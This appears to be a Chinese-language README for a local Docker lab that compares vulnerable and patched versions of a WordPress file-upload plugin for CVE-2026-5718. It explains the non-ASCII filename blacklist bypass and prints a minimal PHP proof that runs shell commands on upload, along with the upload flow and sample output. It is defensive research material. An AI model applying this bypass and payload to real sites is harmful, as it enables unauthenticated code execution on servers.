仅限本地的易受攻击版与已修补版 Docker 实验室,针对影响 WordPress 插件 Drag and Drop Multiple File Upload for Contact Form 7 的 CVE-2026-5718。
本实验室通过仅在 Docker 环境中运行的最小危害 PHP 执行验证,演示易受攻击版本 1.3.9.6 与已修补版本 1.3.9.7 之间的差异。
适用范围:仅限 localhost / Docker 网络。请勿针对您不拥有或未经明确许可测试的系统使用此 PoC。
CVE-2026-5718 是 Drag and Drop Multiple File Upload for Contact Form 7 中(含)1.3.9.6 及之前版本存在的一个任意文件上传漏洞。
当配置了自定义黑名单类型且文件名包含非 ASCII 字符时,就会触发该问题。在易受攻击版本中,危险的 .php 上传可以绕过预期防护并保持可执行状态。版本 1.3.9.7 通过拒绝相同的上传来修复该问题。
本仓库运行两个本地 WordPress 服务:
vuln:位于 http://localhost:8081,插件版本 1.3.9.6patched:位于 http://localhost:8082,插件版本 1.3.9.7Host
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
预置的 Contact Form 7 表单包含一个 Drag and Drop Multiple File Upload 字段:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
PoC 上传一个 PHP 验证文件,其文件名如下:
proof-β.php
β 字符是非 ASCII 字符。这一点很重要,因为该漏洞取决于对非 ASCII 输入的文件名处理方式。
整体流程:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
已修补版本的流程:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
上传的 PHP 验证文件刻意保持最小化:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
该验证仅运行 whoami 和 id 以显示执行上下文。它不使用反向 shell、持久化、凭据访问、横向移动、网络扫描或破坏性操作。
易受攻击服务有意允许在插件上传目录中执行 PHP,以便在本地实验室中观察到影响。已修补服务保持更安全的行为,在应用程序验证层拒绝该上传。
安装 Python 依赖:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
从干净状态开始:
docker compose down -v
docker compose up --build -d
检查服务状态:
docker compose ps
打开实验室页面:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
针对易受攻击服务运行:
python poc/poc.py --base-url http://localhost:8081
针对已修补服务运行:
python poc/poc.py --base-url http://localhost:8082
PoC 仅接受 localhost 或回环目标。
预期行为:
.php 文件。示例输出:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
预期行为:
示例输出:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
本实验室刻意限制为仅用于本地测试。
该 PoC:
whoami 和 id。易受攻击服务放宽上传目录中的 PHP 执行限制,仅仅是为了让本地验证效果可被观察到。请勿将该配置复制到生产环境。
停止容器:
docker compose down
移除容器和卷:
docker compose down -v
删除 Python 虚拟环境:
rm -rf .venv
NVD:CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack 公告:WordPress Drag and Drop Multiple File Upload for Contact Form 7 插件 <= 1.3.9.6 - 通过非 ASCII 文件名黑名单绕过实现未认证任意文件上传 https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence:Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - 通过非 ASCII 文件名黑名单绕过实现未认证任意文件上传 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database:GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
WordPress.org 插件页面:Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
插件厂商页面:Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
本仓库仅用于教育和防御性安全研究。其设计为仅通过 Docker 在 localhost 上运行。请勿将 PoC 用于公共或第三方系统。
| 服务 | 用途 | 主机端口 | 版本 |
|---|
vuln | 易受攻击的 WordPress 实验室 | 8081 | 插件 1.3.9.6 |
patched | 已修补的 WordPress 实验室 | 8082 | 插件 1.3.9.7 |
vuln-db | 易受攻击服务的 MySQL 数据库 | internal | MySQL 8.0 |
patched-db | 已修补服务的 MySQL 数据库 | internal | MySQL 8.0 |